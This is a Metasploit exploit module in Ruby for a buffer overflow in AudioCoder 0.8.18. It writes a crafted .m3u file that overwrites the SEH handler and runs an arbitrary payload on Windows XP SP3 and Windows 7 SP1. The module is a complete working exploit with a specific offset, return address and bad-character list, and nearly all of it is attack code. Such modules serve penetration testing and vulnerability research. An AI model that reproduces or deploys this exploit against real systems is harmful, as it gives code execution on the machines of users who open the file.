##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AudioCoder .M3U Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
				occurs when adding an .m3u, allowing arbitrary code execution with the privileges
				of the user running AudioCoder. This module has been tested successfully on
				AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'metacom', # Vulnerability discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'OSVDB', '92939' ],
					[ 'EDB', '25141' ]
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'process'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'           => 6596,
					'BadChars'        => "\x00\x5c\x40\x0d\x0a",
					'DisableNops'     => true,
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
						{
							'Ret'     => 0x66011b56, # ppr from libiconv-2.dll
							'Offset'  => 765
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 01 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
			], self.class)

	end

	def exploit
		buffer = "http://"
		buffer << rand_text(target['Offset'])
		buffer << generate_seh_record(target.ret)
		buffer << payload.encoded

		file_create(buffer)
	end
end